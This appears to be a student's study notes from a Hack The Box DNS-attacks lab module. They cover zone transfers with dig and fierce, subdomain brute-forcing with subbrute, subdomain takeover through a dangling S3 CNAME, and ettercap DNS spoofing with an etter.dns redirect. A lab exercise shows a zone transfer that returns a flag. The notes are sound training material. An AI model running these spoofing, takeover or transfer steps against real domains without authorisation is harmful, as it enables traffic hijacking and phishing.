nmap -p53 -Pn -sV -sC 10.10.110.213
AXFR Zone Transfer
dig AXFR @ns1.inlanefreight.htb inlanefreight.htb
where @ns1.inlanefreight.htb is a DNS server associated with the domain. [[2. DNS pt2electricboogaloo and vhosts#ZONE TRANSFERS]]
Tools like fierce can be used to enumerate all DNS servers of the root domain and scan for a DNS zone transfer
fierce --domain zonetransfer.me
6a. Domain takeovers and Subdomain enumeration
Domain takeovers
- registering non-existent domain name gain control over another domain
- attack surface - expired domain, host malicious content or send phish from claimed domain
- possible w/ subdomains
CNAMErecords used to map different domains to a parent domain.- suppose
sub.target.comhas cname to another domainanotherdom.com- andanotherdom.comdomain expires and is available for anyone to claim - anyone who registers anotherdom will have complete control oversub.target.com
- suppose
- Many orgs use third-party services / cdns to host their content - usually create a subdomain and make it point to those services
6b. subdomain enumeration
before attempting a subdomain takeover, enumerate with subfinder
https://github.com/projectdiscovery/subfinder
./subfinder -d inlanefreight.com -v
tool scrapes subds from open sources like DNSdumpster https://dnsdumpster.com/
other tools like Sublist3r can also be used to bruteforce subdomains with a pregenerated wordlist
another tool is subbrute
https://github.com/TheRook/subbrute
This tool allows us to use self-defined resolvers and perform pure DNS brute-forcing attacks during internal penetration tests on hosts that do not have Internet access.
git clone https://github.com/TheRook/subbrute.git >> /dev/null 2>&1
cd subbrute
echo "ns1.inlanefreight.com" > ./resolvers.txt
./subbrute inlanefreight.com -s ./names.txt -r ./resolvers.txt
Warning: Fewer than 16 resolvers per process, consider adding more nameservers to resolvers.txt.
inlanefreight.com
ns2.inlanefreight.com
www.inlanefreight.com
ms1.inlanefreight.com
support.inlanefreight.com
<SNIP>
sometimes internal configs are poorly secured which we can exploit to upload our tools from a usb stick. another scenario is reaching internal hosts through pivoting
we can also enumerate cname records for those subdomains:
host support.inlanefreight.com
support.inlanefreight.com is an alias for inlanefreight.s3.amazonaws.com
The support subdomain has an alias record pointing to an AWS S3 bucket. However, the URL https://support.inlanefreight.com shows a NoSuchBucket error indicating that the subdomain is potentially vulnerable to a subdomain takeover. Now, we can take over the subdomain by creating an AWS S3 bucket with the same subdomain name
6c. dns spoofing
also referred to as DNS Cache Poisoning
- altering legitimate dns records w/ false info so they can be used to redirect online traffic to a fraudulent website
- ex: attacker intercepts communication between user and dns server to route user to fraudulent destination instead of a legitimate one by performing a MitM (man in the middle) attack
- exploiting vulnerability found in dns server could yield control over the server by an attacker to modify dns records.
local dns cache poisoning
- from a local net perspective attackers can also perform dns cache poisoning using mitm tools like Ettercap or Bettercap
- to exploit dns cache poisoning via
ettercapwe edit the/etc/ettercap/etter.dnsfile to map target domain namee.g. inlanefreight.comthat they want to spoof and the attacker's IP addresse.g. 192.168.225.110that they want to redirect a user to:
stejwes@htb[/htb]# cat /etc/ettercap/etter.dns
inlanefreight.com A 192.168.225.110
*.inlanefreight.com A 192.168.225.110
- next begin ettercap tool, scan for live hosts by navigating to
Hosts > scan for hosts - once completed add target ip address
e.g. 192.168.152.129toTarget1and add default gateway IPe.g. 192.168.152.2toTarget2 - activate
dns_spoofattk fromPlugins > Manage plugins- This sends tgt machine with fake DNS responses that will resolve
inlanefreight.comto IP address192.168.225.110
- This sends tgt machine with fake DNS responses that will resolve
after successful dns spoofing, if a victim user coming from 192.168.152.129 visits inlanefreight.com on a web browser they will be redirected to a fake page hosted on your attacking machine 192.168.225.110
pings to that domain will also resolve to 225.110
scenario:
Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer.
┌──(root㉿kali)-[~/cpts/attacking-common/dns/subbrute]
└─# echo "ns1.inlanefreight.htb" > ./resolvers.txt
┌──(root㉿kali)-[~/cpts/attacking-common/dns/subbrute]
└─# cat resolvers.txt
ns1.inlanefreight.htb
┌──(root㉿kali)-[~/cpts/attacking-common/dns/subbrute]
└─# python3 subbrute.py inlanefreight.htb -s ./names.txt -r ./resolvers.txt
Warning: Fewer than 16 resolvers per process, consider adding more nameservers to resolvers.txt.
inlanefreight.htb
hr.inlanefreight.htb
helpdesk.inlanefreight.htb
ns.inlanefreight.htb
control.inlanefreight.htb
malowicki.inlanefreight.htb
maloy.inlanefreight.htb
┌──(root㉿kali)-[~/cpts/attacking-common/dns/subbrute]
└─# dig axfr @inlanefreight.htb hr.inlanefreight.htb
; <<>> DiG 9.19.25-185-g392e7199df2-1-Debian <<>> axfr @inlanefreight.htb hr.inlanefreight.htb
; (1 server found)
;; global options: +cmd
hr.inlanefreight.htb. 604800 IN SOA inlanefreight.htb. root.inlanefreight.htb. 2 604800 86400 2419200 604800
hr.inlanefreight.htb. 604800 IN TXT "HTB{LUIHNFAS2871SJK1259991}"
hr.inlanefreight.htb. 604800 IN NS ns.inlanefreight.htb.
ns.hr.inlanefreight.htb. 604800 IN A 127.0.0.1
hr.inlanefreight.htb. 604800 IN SOA inlanefreight.htb. root.inlanefreight.htb. 2 604800 86400 2419200 604800
;; Query time: 43 msec
;; SERVER: 10.129.59.207#53(inlanefreight.htb) (TCP)
;; WHEN: Thu Aug 22 14:50:44 EDT 2024
;; XFR size: 5 records (messages 1, bytes 230)
recent vulnerabilities We can find thousands of subdomains and domains on the web - often pointing to deactivated third party services providers or cloud providers. Companies often cancel services from 3rd party service providers but forget to delete the DNS records accompanied with those dns records - primarily because there's no cost associated with DNS entries.
One of the biggest dangers of a subdomain takeover is that a phishing campaign can be launched that is considered part of the official domain of the target company.
- customers would look at the link and see the domain is behind official domain and trust it.
- If an attacker finds a cname record in company dns records that points to a subdomain that no longer exists and returns http 404 error, the subd can most likely be taken over through a third party provider.
- subd takeover occurs when subd points to another domain using CNAME records that does not currently exist. when an attacker registers this nonexistent domain, subdomain points to domain registered by us.